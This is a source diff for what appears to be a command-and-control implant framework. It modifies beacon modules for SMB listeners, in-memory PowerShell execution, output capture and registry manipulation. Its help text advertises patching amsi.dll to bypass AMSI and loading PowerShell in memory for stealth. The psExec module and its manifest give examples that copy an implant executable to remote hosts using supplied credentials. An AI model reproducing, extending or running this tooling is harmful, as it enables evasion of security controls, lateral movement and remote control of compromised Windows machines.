||||
c2Message.set_returnvalue("Error: Invalid TCP listener port. Expected an integer between 1 and 65535.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
@@ -243,15 +278,14 @@ class CommonCommands
|
||||
}
|
||||
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
|
||||
{
|
||||
if(splitedCmd.size()==5)
|
||||
if(splitedCmd.size()==4)
|
||||
{
|
||||
std::string host = splitedCmd[3];
|
||||
std::string pipeName = splitedCmd[4];
|
||||
std::string pipeName = splitedCmd[3];
|
||||
std::string cmd = StartCmd;
|
||||
cmd+=" ";
|
||||
cmd+=ListenerSmbType;
|
||||
cmd+=" ";
|
||||
cmd+=host;
|
||||
cmd+="beacon";
|
||||
cmd+=" ";
|
||||
cmd+=pipeName;
|
||||
c2Message.set_instruction(ListenerCmd);
|
||||
@@ -259,7 +293,7 @@ class CommonCommands
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string errorMsg = "listener smb start: not enough arguments";
|
||||
std::string errorMsg = "Usage: listener start smb <pipe_name>";
|
||||
c2Message.set_returnvalue(errorMsg);
|
||||
return -1;
|
||||
}
|
||||
@@ -299,6 +333,11 @@ class CommonCommands
|
||||
if(!input && !isWindows)
|
||||
{
|
||||
std::string newInputFile = m_linuxModulesDirectoryPath;
|
||||
if (!windowsArch.empty())
|
||||
{
|
||||
newInputFile += windowsArch;
|
||||
newInputFile += "/";
|
||||
}
|
||||
newInputFile+=inputFile;
|
||||
input.open(newInputFile, std::ios::binary);
|
||||
resolvedModulePath = newInputFile;
|
||||
|
||||
@@ -14,6 +14,17 @@
|
||||
|
||||
#include <C2Message.hpp>
|
||||
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
struct ModulePreparedShellcodeTask
|
||||
{
|
||||
std::string inputFile;
|
||||
std::string payload;
|
||||
std::string executionMode;
|
||||
std::string displayCommand;
|
||||
int pid = -1;
|
||||
};
|
||||
#endif
|
||||
|
||||
|
||||
enum OSCompatibility {
|
||||
OS_NONE = 0,
|
||||
@@ -104,6 +115,14 @@ public:
|
||||
// if an error ocurre:
|
||||
// set_returnvalue(errorMsg) && return -1
|
||||
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
|
||||
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
||||
virtual int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
|
||||
{
|
||||
(void)task;
|
||||
c2Message.set_returnvalue("Prepared shellcode tasks are not supported by this module.");
|
||||
return -1;
|
||||
};
|
||||
#endif
|
||||
virtual int initConfig(const nlohmann::json &config) {return 0;};
|
||||
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
|
||||
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
|
||||
|
||||
+96
-75
@@ -1,7 +1,9 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#pragma once
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstdio>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
@@ -478,22 +480,32 @@ int static inline patchAmsiPowershell()
|
||||
}
|
||||
|
||||
|
||||
class StdCapture
|
||||
{
|
||||
public:
|
||||
StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0)
|
||||
{
|
||||
m_pipe[READ] = 0;
|
||||
m_pipe[WRITE] = 0;
|
||||
if (_pipe(m_pipe, 1048576, O_BINARY) == -1)
|
||||
return;
|
||||
m_oldStdOut = dup(fileno(stdout));
|
||||
m_oldStdErr = dup(fileno(stderr));
|
||||
if (m_oldStdOut == -1 || m_oldStdErr == -1)
|
||||
return;
|
||||
|
||||
m_init = true;
|
||||
}
|
||||
class StdCapture
|
||||
{
|
||||
public:
|
||||
StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0),
|
||||
m_oldStdOutHandle(INVALID_HANDLE_VALUE), m_oldStdErrHandle(INVALID_HANDLE_VALUE),
|
||||
m_pipeReadHandle(INVALID_HANDLE_VALUE), m_pipeWriteHandle(INVALID_HANDLE_VALUE)
|
||||
{
|
||||
m_pipe[READ] = 0;
|
||||
m_pipe[WRITE] = 0;
|
||||
if (_pipe(m_pipe, 1048576, O_BINARY) == -1)
|
||||
return;
|
||||
m_oldStdOut = dup(fileno(stdout));
|
||||
m_oldStdErr = dup(fileno(stderr));
|
||||
if (m_oldStdOut == -1 || m_oldStdErr == -1)
|
||||
return;
|
||||
|
||||
m_pipeReadHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[READ]));
|
||||
m_pipeWriteHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[WRITE]));
|
||||
if (m_pipeReadHandle == INVALID_HANDLE_VALUE || m_pipeWriteHandle == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
m_oldStdOutHandle = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
m_oldStdErrHandle = GetStdHandle(STD_ERROR_HANDLE);
|
||||
|
||||
m_init = true;
|
||||
}
|
||||
|
||||
~StdCapture()
|
||||
{
|
||||
@@ -512,55 +524,60 @@ public:
|
||||
}
|
||||
|
||||
|
||||
void BeginCapture()
|
||||
{
|
||||
if (!m_init)
|
||||
return;
|
||||
if (m_capturing)
|
||||
EndCapture();
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
dup2(m_pipe[WRITE], fileno(stdout));
|
||||
dup2(m_pipe[WRITE], fileno(stderr));
|
||||
m_capturing = true;
|
||||
}
|
||||
|
||||
bool EndCapture()
|
||||
{
|
||||
if (!m_init)
|
||||
return false;
|
||||
if (!m_capturing)
|
||||
return false;
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
dup2(m_oldStdOut, fileno(stdout));
|
||||
dup2(m_oldStdErr, fileno(stderr));
|
||||
m_captured.clear();
|
||||
|
||||
std::string buf;
|
||||
const int bufSize = 1024;
|
||||
buf.resize(bufSize);
|
||||
int bytesRead = 0;
|
||||
if (!eof(m_pipe[READ]))
|
||||
{
|
||||
bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize);
|
||||
}
|
||||
while(bytesRead == bufSize)
|
||||
{
|
||||
m_captured += buf;
|
||||
bytesRead = 0;
|
||||
if (!eof(m_pipe[READ]))
|
||||
{
|
||||
bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize);
|
||||
}
|
||||
}
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
buf.resize(bytesRead);
|
||||
m_captured += buf;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
void BeginCapture()
|
||||
{
|
||||
if (!m_init)
|
||||
return;
|
||||
if (m_capturing)
|
||||
EndCapture();
|
||||
m_captured.clear();
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
dup2(m_pipe[WRITE], fileno(stdout));
|
||||
dup2(m_pipe[WRITE], fileno(stderr));
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, m_pipeWriteHandle);
|
||||
SetStdHandle(STD_ERROR_HANDLE, m_pipeWriteHandle);
|
||||
m_capturing = true;
|
||||
}
|
||||
|
||||
void DrainCapture()
|
||||
{
|
||||
if (!m_init || m_pipeReadHandle == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
for (;;)
|
||||
{
|
||||
DWORD bytesAvailable = 0;
|
||||
if (!PeekNamedPipe(m_pipeReadHandle, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0)
|
||||
break;
|
||||
|
||||
const int bytesToRead = static_cast<int>(std::min<DWORD>(bytesAvailable, 4096));
|
||||
std::string buf;
|
||||
buf.resize(bytesToRead);
|
||||
const int bytesRead = read(m_pipe[READ], &(*buf.begin()), bytesToRead);
|
||||
if (bytesRead <= 0)
|
||||
break;
|
||||
buf.resize(bytesRead);
|
||||
m_captured += buf;
|
||||
}
|
||||
}
|
||||
|
||||
bool EndCapture()
|
||||
{
|
||||
if (!m_init)
|
||||
return false;
|
||||
if (!m_capturing)
|
||||
return false;
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
dup2(m_oldStdOut, fileno(stdout));
|
||||
dup2(m_oldStdErr, fileno(stderr));
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, m_oldStdOutHandle);
|
||||
SetStdHandle(STD_ERROR_HANDLE, m_oldStdErrHandle);
|
||||
DrainCapture();
|
||||
m_capturing = false;
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string GetCapture() const
|
||||
{
|
||||
@@ -578,12 +595,16 @@ public:
|
||||
private:
|
||||
enum PIPES { READ, WRITE };
|
||||
int m_pipe[2];
|
||||
int m_oldStdOut;
|
||||
int m_oldStdErr;
|
||||
bool m_capturing;
|
||||
bool m_init;
|
||||
std::string m_captured;
|
||||
};
|
||||
int m_oldStdOut;
|
||||
int m_oldStdErr;
|
||||
HANDLE m_oldStdOutHandle;
|
||||
HANDLE m_oldStdErrHandle;
|
||||
HANDLE m_pipeReadHandle;
|
||||
HANDLE m_pipeWriteHandle;
|
||||
bool m_capturing;
|
||||
bool m_init;
|
||||
std::string m_captured;
|
||||
};
|
||||
|
||||
|
||||
// https://www.codeproject.com/Tips/139349/Getting-the-address-of-a-function-in-a-DLL-loaded
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "netstat",
|
||||
"display_name": "netstat",
|
||||
"kind": "module",
|
||||
"description": "Show active network connections on the beacon.",
|
||||
"command_template": "netstat",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["netstat"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -199,6 +199,7 @@ std::string Powershell::getInfo()
|
||||
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
|
||||
info += "You can import module using -i, added as New-Module at every execution.\n";
|
||||
info += "You run scripts using -s.\n";
|
||||
info += "Script files for -i and -s are resolved from Scripts/Windows or Scripts/Any.\n";
|
||||
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
|
||||
info += "exemple:\n";
|
||||
info += " - powershell whoami | write-output\n";
|
||||
@@ -265,7 +266,7 @@ int Powershell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
payload += "Invoke-Command -ScriptBlock {\n";
|
||||
payload += fileContent;
|
||||
payload += "};";
|
||||
payload += "\n};";
|
||||
}
|
||||
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
@@ -296,12 +297,31 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
m_modulesToImport+=buffer;
|
||||
|
||||
std::string outCmd = execPowershell(m_modulesToImport);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
return 0;
|
||||
|
||||
}
|
||||
if(splitedCmd[0]=="-s")
|
||||
{
|
||||
const std::string buffer = c2Message.data();
|
||||
if (buffer.empty())
|
||||
{
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue("Missing PowerShell script payload.");
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string finalCmd = m_modulesToImport;
|
||||
finalCmd += buffer;
|
||||
std::string outCmd = execPowershell(finalCmd);
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
std::string finalCmd = m_modulesToImport;
|
||||
@@ -309,7 +329,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
|
||||
std::string outCmd = execPowershell(finalCmd);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_instruction(c2Message.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
@@ -416,6 +436,10 @@ std::string Powershell::execPowershell(const std::string& cmd)
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#if defined(C2CORE_BUILD_TESTS)
|
||||
result = cmd;
|
||||
#endif
|
||||
|
||||
|
||||
#elif _WIN32
|
||||
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "powershell",
|
||||
"display_name": "powershell",
|
||||
"kind": "module",
|
||||
"description": "Execute a PowerShell command, import a script module, or run a TeamServer-managed script artifact.",
|
||||
"command_template": "powershell [-i {i:q}] [-s {s:q}] {command:raw?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "-i",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Import a PowerShell script artifact as a module.",
|
||||
"artifact_filter": {
|
||||
"category": "script",
|
||||
"scope": "server",
|
||||
"target": "beacon",
|
||||
"platform": "windows",
|
||||
"runtime": "powershell",
|
||||
"name_contains": ".ps1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "-s",
|
||||
"type": "flag",
|
||||
"required": false,
|
||||
"description": "Run a PowerShell script artifact.",
|
||||
"artifact_filter": {
|
||||
"category": "script",
|
||||
"scope": "server",
|
||||
"target": "beacon",
|
||||
"platform": "windows",
|
||||
"runtime": "powershell",
|
||||
"name_contains": ".ps1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "command",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Inline PowerShell command.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"powershell whoami | write-output",
|
||||
"powershell -i PowerView.ps1",
|
||||
"powershell -s collect.ps1"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -96,6 +96,36 @@ int main()
|
||||
std::filesystem::remove(script);
|
||||
}
|
||||
|
||||
{
|
||||
Powershell module;
|
||||
C2Message message;
|
||||
message.set_instruction("powershell");
|
||||
message.set_cmd("-s missing-payload.ps1 ");
|
||||
C2Message retMessage;
|
||||
|
||||
ok &= expect(module.process(message, retMessage) == 0, "script command without payload should process");
|
||||
ok &= expect(retMessage.instruction() == "powershell", "script command without payload should preserve instruction");
|
||||
ok &= expect(retMessage.cmd() == message.cmd(), "script command without payload should preserve command");
|
||||
ok &= expectContains(retMessage.returnvalue(), "Missing PowerShell script payload", "script command without payload should explain failure");
|
||||
}
|
||||
|
||||
#if defined(__linux__) && defined(C2CORE_BUILD_TESTS)
|
||||
{
|
||||
Powershell module;
|
||||
C2Message message;
|
||||
message.set_instruction("powershell");
|
||||
message.set_cmd("-s testScript.ps1 ");
|
||||
message.set_data("Invoke-Command -ScriptBlock {\nWrite-Output \"script-process-ok\"\n};");
|
||||
C2Message retMessage;
|
||||
|
||||
ok &= expect(module.process(message, retMessage) == 0, "script payload should process");
|
||||
ok &= expect(retMessage.instruction() == "powershell", "script payload should preserve instruction");
|
||||
ok &= expect(retMessage.cmd() == message.cmd(), "script payload should preserve display command");
|
||||
ok &= expectContains(retMessage.returnvalue(), "script-process-ok", "script payload should be the executed command");
|
||||
ok &= expect(retMessage.returnvalue().find("-s testScript.ps1") == std::string::npos, "script payload should not execute the -s display command");
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
{
|
||||
Powershell module;
|
||||
@@ -134,6 +164,21 @@ int main()
|
||||
|
||||
std::filesystem::remove(script);
|
||||
}
|
||||
|
||||
{
|
||||
const auto script = writeTempFile("c2core_powershell_exec_script.ps1", "Write-Output \"script-exec-ok\"\n");
|
||||
Powershell module;
|
||||
std::vector<std::string> cmd = {"powershell", "-s", script.string()};
|
||||
C2Message message;
|
||||
C2Message retMessage;
|
||||
|
||||
ok &= expect(module.init(cmd, message) == 0, "script execution file should be accepted");
|
||||
ok &= expect(module.process(message, retMessage) == 0, "script execution file should process");
|
||||
ok &= expectContains(retMessage.returnvalue(), "script-exec-ok", "script execution output should be captured");
|
||||
ok &= expect(retMessage.cmd() == message.cmd(), "script execution return message should preserve command");
|
||||
|
||||
std::filesystem::remove(script);
|
||||
}
|
||||
#endif
|
||||
|
||||
return ok ? 0 : 1;
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "pwd",
|
||||
"display_name": "pwd",
|
||||
"kind": "module",
|
||||
"description": "Print the current working directory on the beacon.",
|
||||
"command_template": "pwd",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows", "linux"],
|
||||
"archs": ["any"],
|
||||
"args": [],
|
||||
"examples": ["pwd"],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -120,12 +120,13 @@ std::string PsExec::getInfo()
|
||||
info += " * You can wrap arbitrary binaries with a service wrapper (e.g. nssm) if you need to run non-service executables as services.\n";
|
||||
info += "- The module uses a short-lived service: the service is expected to stop within ~2 seconds and will be deleted after stopping.\n";
|
||||
info += " * Therefore the executable launched by the service MUST NOT perform long-running tasks inside the service process (it should perform a quick action and exit).\n";
|
||||
info += "- Authentication: provide explicit credentials (-u/-p) or use Kerberos (-k) / current token (-n) as appropriate.\n";
|
||||
info += "- Authentication: provide explicit credentials (-u) or use Kerberos (-k) / current token (-n) as appropriate.\n";
|
||||
info += "- The service executable is resolved by the TeamServer from Tools first, then UploadedArtifacts.\n";
|
||||
info += "\nExamples:\n";
|
||||
info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local /tmp/implant.exe\n";
|
||||
info += "- psExec -k m3dc.cyber.local /tmp/implant.exe\n";
|
||||
info += "- psExec -n m3dc.cyber.local /tmp/implant.exe\n";
|
||||
info += "- psExec -n 10.9.20.10 /tmp/implant.exe\n";
|
||||
info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local service.exe\n";
|
||||
info += "- psExec -k m3dc.cyber.local service.exe\n";
|
||||
info += "- psExec -n m3dc.cyber.local service.exe\n";
|
||||
info += "- psExec -n 10.9.20.10 service.exe\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
@@ -576,4 +577,3 @@ int PsExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
{
|
||||
"name": "psExec",
|
||||
"display_name": "psExec",
|
||||
"kind": "module",
|
||||
"description": "Copy and run a service executable on a remote Windows host. The service executable is resolved from Tools first, then UploadedArtifacts.",
|
||||
"command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "auth_mode",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "Authentication mode.",
|
||||
"values": ["-u", "-k", "-n"]
|
||||
},
|
||||
{
|
||||
"name": "username",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "DOMAIN\\Username for -u mode."
|
||||
},
|
||||
{
|
||||
"name": "password",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Password for -u mode."
|
||||
},
|
||||
{
|
||||
"name": "target",
|
||||
"type": "text",
|
||||
"required": true,
|
||||
"description": "Target host name or IP."
|
||||
},
|
||||
{
|
||||
"name": "service_artifact",
|
||||
"type": "artifact",
|
||||
"required": true,
|
||||
"description": "Service executable artifact from Tools or UploadedArtifacts.",
|
||||
"artifact_filters": [
|
||||
{
|
||||
"category": "tool",
|
||||
"scope": "server",
|
||||
"target": "teamserver",
|
||||
"platform": "windows",
|
||||
"arch": "session.arch",
|
||||
"runtime": "any",
|
||||
"name_contains": ".exe"
|
||||
},
|
||||
{
|
||||
"category": "upload",
|
||||
"scope": "operator",
|
||||
"target": "beacon",
|
||||
"platform": "session.platform",
|
||||
"arch": "session.arch",
|
||||
"runtime": "file",
|
||||
"name_contains": ".exe"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"psExec -u DOMAIN\\Username Password123! fileserver service.exe",
|
||||
"psExec -k fileserver service.exe",
|
||||
"psExec -n fileserver service.exe"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -12,9 +12,14 @@ else()
|
||||
endif()
|
||||
set_property(TARGET PwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
target_link_libraries(PwSh )
|
||||
add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:PwSh> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:PwSh>")
|
||||
|
||||
add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:PwSh> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:PwSh>")
|
||||
add_custom_command(TARGET PwSh POST_BUILD
|
||||
COMMAND ${CMAKE_COMMAND} -E make_directory "${C2_RUNTIME_ROOT}/data/Tools/Any/any"
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different
|
||||
"${CMAKE_CURRENT_SOURCE_DIR}/PowerShellRunner/rdm.dll"
|
||||
"${C2_RUNTIME_ROOT}/data/Tools/Any/any/rdm.dll")
|
||||
|
||||
if(C2CORE_BUILD_TESTS)
|
||||
if(WIN32)
|
||||
add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ})
|
||||
@@ -24,7 +29,7 @@ if(C2CORE_BUILD_TESTS)
|
||||
# add_executable(testsPwSh WIN32 tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
|
||||
target_link_libraries(testsPwSh )
|
||||
set_property(TARGET testsPwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
|
||||
$<TARGET_FILE:testsPwSh> "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsPwSh>")
|
||||
|
||||
add_test(NAME testsPwSh COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsPwSh>")
|
||||
|
||||
+17
-20
@@ -158,35 +158,32 @@ std::string PwSh::getInfo()
|
||||
info += "This module allows you to load and execute a custom PowerShell instance entirely in memory.\n";
|
||||
info += "The execution occurs within the current process.\n\n";
|
||||
|
||||
info += "Usage:\n";
|
||||
info += " pwSh init <inputFile> <typeForDll>\n";
|
||||
info += " - Arguments are optional. If not provided, the default PowerShell instance DLL will be loaded.\n";
|
||||
info += " - The DLL must implment this methode: \"public string Invoke(string command)\".\n";
|
||||
info += " - Loads the PowerShell .NET assembly DLL into memory.\n";
|
||||
info += " - For DLLs, you must specify the fully qualified type name (e.g., Namespace.ClassName).\n\n";
|
||||
info += "Usage:\n";
|
||||
info += " pwSh init\n";
|
||||
info += " - Loads the fixed PowerShell runner DLL from Tools/Any/any/rdm.dll.\n";
|
||||
info += " - The runner type is fixed to rdm.rdm and must implement Invoke(string command).\n\n";
|
||||
|
||||
info += " pwSh run <cmd>\n";
|
||||
info += " - Executes the given PowerShell command.\n\n";
|
||||
|
||||
|
||||
info += " pwSh import <modulePsPath>\n";
|
||||
info += " - Import the powersehll module (e.g., PowerView.ps1)\n\n";
|
||||
info += " pwSh import <scriptArtifact>\n";
|
||||
info += " - Import the powersehll module from Scripts/Windows or Scripts/Any (e.g., PowerView.ps1)\n\n";
|
||||
|
||||
info += " pwSh script <scriptArtifact>\n";
|
||||
info += " - execute the powersehll script from Scripts/Windows or Scripts/Any.\n\n";
|
||||
|
||||
info += " pwSh script <scriptPath>\n";
|
||||
info += " - execute the powersehll script.\n\n";
|
||||
|
||||
info += "Examples:\n";
|
||||
info += " pwSh init\n";
|
||||
info += " pwSh init customPS.dll CustomPS.PowerShell\n\n";
|
||||
info += " pwSh run whoami\n";
|
||||
info += " pwSh run $x = 4; Write-Output $x\n\n";
|
||||
info += "Examples:\n";
|
||||
info += " pwSh init\n";
|
||||
info += " pwSh run whoami\n";
|
||||
info += " pwSh run $x = 4; Write-Output $x\n\n";
|
||||
|
||||
info += "Notes:\n";
|
||||
info += " - Assemblies are kept in memory and can be reused without reloading.\n";
|
||||
info += " - Ensure the correct type and method names are specified when using custom DLLs.\n";
|
||||
info += " - This module avoids writing files to disk, enhancing stealth.\n";
|
||||
info += " - If you run 'init' in a process where the CLR is already loaded, you may encounter:\n";
|
||||
info += " 'Failed: DefaultAppDomain - Load_2'.\n";
|
||||
info += " - If you run 'init' in a process with an incompatible CLR/AppDomain already loaded,\n";
|
||||
info += " initialize PwSh from a fresh beacon process or a process without that CLR context.\n";
|
||||
#endif
|
||||
return info;
|
||||
}
|
||||
@@ -945,8 +942,8 @@ int PwSh::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
|
||||
errorMsg = "Failed: IdentityManagerProc";
|
||||
else if(errorCode==ERROR_LOAD_ASSEMLBY_2)
|
||||
errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream";
|
||||
else if(errorCode==ERROR_LOAD_ASSEMLBY_3)
|
||||
errorMsg = "Failed: DefaultAppDomain - Load_2";
|
||||
else if(errorCode==ERROR_LOAD_ASSEMLBY_3)
|
||||
errorMsg = "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2";
|
||||
else if(errorCode==ERROR_LOAD_ASSEMLBY_4)
|
||||
errorMsg = "Failed: DefaultAppDomain - Load_3";
|
||||
else if(errorCode==ERROR_LOAD_ASSEMLBY_5)
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"name": "pwSh",
|
||||
"display_name": "pwSh",
|
||||
"kind": "module",
|
||||
"description": "Initialize and use the in-memory PowerShell runner. The runner DLL is fixed to Tools/Any/any/rdm.dll.",
|
||||
"command_template": "pwSh {action} {command_or_script:q?} {arguments:raw?}",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "action",
|
||||
"type": "enum",
|
||||
"required": true,
|
||||
"description": "PwSh action.",
|
||||
"values": ["init", "run", "import", "script"]
|
||||
},
|
||||
{
|
||||
"name": "command_or_script",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "PowerShell command for run, or script artifact for import/script.",
|
||||
"artifact_filter": {
|
||||
"category": "script",
|
||||
"scope": "server",
|
||||
"target": "beacon",
|
||||
"platform": "windows",
|
||||
"runtime": "powershell",
|
||||
"name_contains": ".ps1"
|
||||
},
|
||||
"completion_parents": ["import", "script"]
|
||||
},
|
||||
{
|
||||
"name": "arguments",
|
||||
"type": "text",
|
||||
"required": false,
|
||||
"description": "Optional PowerShell command tail.",
|
||||
"variadic": true
|
||||
}
|
||||
],
|
||||
"examples": [
|
||||
"pwSh init",
|
||||
"pwSh run whoami",
|
||||
"pwSh import PowerView.ps1",
|
||||
"pwSh script collect.ps1"
|
||||
],
|
||||
"source": "manifest"
|
||||
}
|
||||
@@ -195,7 +195,7 @@ int main()
|
||||
ok &= expectErrorMessage(module, 8, "Failed: AppDomainThunk - QueryInterface", "error code 8");
|
||||
ok &= expectErrorMessage(module, 11, "Failed: IdentityManagerProc", "error code 11");
|
||||
ok &= expectErrorMessage(module, 12, "Failed: IdentityMnaager - GetBindingIdentityFromStream", "error code 12");
|
||||
ok &= expectErrorMessage(module, 13, "Failed: DefaultAppDomain - Load_2", "error code 13");
|
||||
ok &= expectErrorMessage(module, 13, "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2", "error code 13");
|
||||
ok &= expectErrorMessage(module, 14, "Failed: DefaultAppDomain - Load_3", "error code 14");
|
||||
ok &= expectErrorMessage(module, 15, "Failed: No module loaded", "error code 15");
|
||||
ok &= expectErrorMessage(module, 21, "Failed: Assembly - GetType_2", "error code 21");
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
{
|
||||
"name": "registry",
|
||||
"display_name": "registry",
|
||||
"kind": "module",
|
||||
"description": "Manipulate local or remote Windows registry keys.",
|
||||
"command_template": "registry {operation} [-s {s:q}] -h {h:q} -k {k:q} [-n {n:q}] [-d {d:q}] [-t {t}]",
|
||||
"target": "beacon",
|
||||
"requires_session": true,
|
||||
"platforms": ["windows"],
|
||||
"archs": ["x86", "x64", "arm64"],
|
||||
"args": [
|
||||
{
|
||||
"name": "operation",
